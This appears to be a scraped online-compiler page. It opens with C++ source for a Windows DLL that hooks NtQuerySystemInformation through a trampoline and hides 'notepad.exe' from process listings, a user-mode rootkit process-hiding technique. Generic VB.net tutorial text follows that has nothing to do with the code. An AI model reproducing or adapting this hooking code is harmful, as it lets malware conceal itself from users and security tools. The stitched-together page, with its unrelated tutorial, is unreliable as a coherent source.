#include <Windows.h>
#include "hook.h"
#include <winternl.h>
void* TrampHook64(void* src, void* dst, int len)
{
if (len < 14) return nullptr;
BYTE stub[14] = {
0xFF, 0x25, 0x00, 0x00, 0x00, 0x00, // jmp qword ptr instruction
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 // 8 byte ptr to jmp destination
};
void* pTrampoline = VirtualAlloc(0, len + sizeof(stub), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
DWORD oldProtect = 0;
VirtualProtect(src, len, PAGE_EXECUTE_READWRITE, &oldProtect);
uintptr_t jmpBackAddr = (uintptr_t)src + len;
// copy trampoline jmpback addr to stub
memcpy(stub + 6, &jmpBackAddr, 8);
// copy stolen bytes to trampoline
memcpy((void*)(pTrampoline), src, len);
// copy stub to trampoline
memcpy((void*)((uintptr_t)pTrampoline + len), stub, sizeof(stub));
// copy dst to the stub, creating our jmp to our hook function
memcpy(stub + 6, &dst, 8);
// copy new stub to src
memcpy(src, stub, sizeof(stub));
// nop any stolen bytes in src
for (int i = 14; i < len; i++)
{
*(BYTE*)((uintptr_t)src + i) = 0x90;
}
VirtualProtect(src, len, oldProtect, &oldProtect);
return (void*)(pTrampoline);
}
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
typedef NTSTATUS(WINAPI* tNtQuerySystemInfo)(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
);
tNtQuerySystemInfo oNtQuerySystemInfo = nullptr;
NTSTATUS WINAPI hkNtQuerySystemInfo(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength)
{
NTSTATUS status = oNtQuerySystemInfo(SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength);
if (SystemProcessInformation == SystemInformationClass && STATUS_SUCCESS == status)
{
// Loop through the list of processes
_SYSTEM_PROCESS_INFORMATION* pCurrent = nullptr;
_SYSTEM_PROCESS_INFORMATION* pNext = (_SYSTEM_PROCESS_INFORMATION*)SystemInformation;
do
{
pCurrent = pNext;
pNext = (_SYSTEM_PROCESS_INFORMATION*)((PUCHAR)pCurrent + pCurrent->
NextEntryOffset);
if (!wcsncmp(pNext->ImageName.Buffer, L"notepad.exe", pNext->ImageName.Length))
{
if (!pNext->NextEntryOffset)
{
pCurrent->NextEntryOffset = 0;
}
else
{
pCurrent->NextEntryOffset += pNext->NextEntryOffset;
}
pNext = pCurrent;
}
} while (pCurrent->NextEntryOffset != 0);
}
return status;
}
DWORD WINAPI MainThread(HINSTANCE hThisModule)
{
oNtQuerySystemInfo = (tNtQuerySystemInfo)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");
oNtQuerySystemInfo = (tNtQuerySystemInfo)TrampHook64((BYTE*)oNtQuerySystemInfo, (BYTE*)hkNtQuerySystemInfo, 16);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)MainThread, hinstDLL, 0, nullptr);
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Write, Run & Share VB.net code online using OneCompiler's VB.net online compiler for free. It's one of the robust, feature-rich online compilers for VB.net language, running on the latest version 16. Getting started with the OneCompiler's VB.net compiler is simple and pretty fast. The editor shows sample boilerplate code when you choose language as VB.net. OneCompiler also has reference programs, where you can look for the sample code to get started with.
OneCompiler's VB.net online editor supports stdin and users can give inputs to programs using the STDIN textbox under the I/O tab. Following is a sample VB.net program which takes name as input and prints hello message with your name.
Public Module Program
Public Sub Main(args() As string)
Dim name as String = Console.ReadLine() ' Reading input from STDIN
Console.WriteLine("Hello " & name) ' Writing output to STDOUT
End Sub
End Module
Visual Basic is a event driven programming language by Microsoft, first released in the year 1991.
Variable is a name given to the storage area in order to identify them in our programs.
Simple syntax of Variable declaration is as follows
Dim variableName [ As [ New ] dataType ] [ = initializer ]
variableName = value
If condition-expression Then
'code
End If
If(conditional-expression)Then
'code if the conditional-expression is true
Else
'code if the conditional-expression is false
End If
If(conditional-expression)Then
'code if the above conditional-expression is true
Else If(conditional-expression) Then
'code if the above conditional-expression is true
Else
'code if the above conditional-expression is false
End If
If(conditional-expression)Then
'code if the above conditional-expression is true
If(conditional-expression)Then
'code if the above conditional-expression is true
End If
End If
Select [ Case ] expression
[ Case expressionlist
'code ]
[ Case Else
'code ]
End Select
For counter [ As datatype ] = begin To end [ Step step ]
'code
[ Continue For ]
'code
[ Exit For ]
'code
Next [ counter ]
For Each element [ As datatype ] In group
'code
[ Continue For ]
'code
[ Exit For ]
'code
Next [ element ]
While conditional-expression
'Code
[ Continue While ]
'Code
[ Exit While ]
'Code
End While
Do { While | Until } conditional-expression
'Code
[ Continue Do ]
'Code
[ Exit Do ]
'Code
Loop
Do
'Code
[ Continue Do ]
'Code
[ Exit Do ]
'Code
Loop { While | Until } conditional-expression
Procedure is a sub-routine which contains set of statements. Usually Procedures are written when multiple calls are required to same set of statements which increases re-usuability and modularity.
Procedures are of two types.
Functions return a value when they are called.
[accessModifiers] Function functionName [(parameterList)] As returnType
'code
End Function
Sub-procedures are similar to functions but they don't return any value.
Sub ProcedureName (parameterList)
'Code
End Sub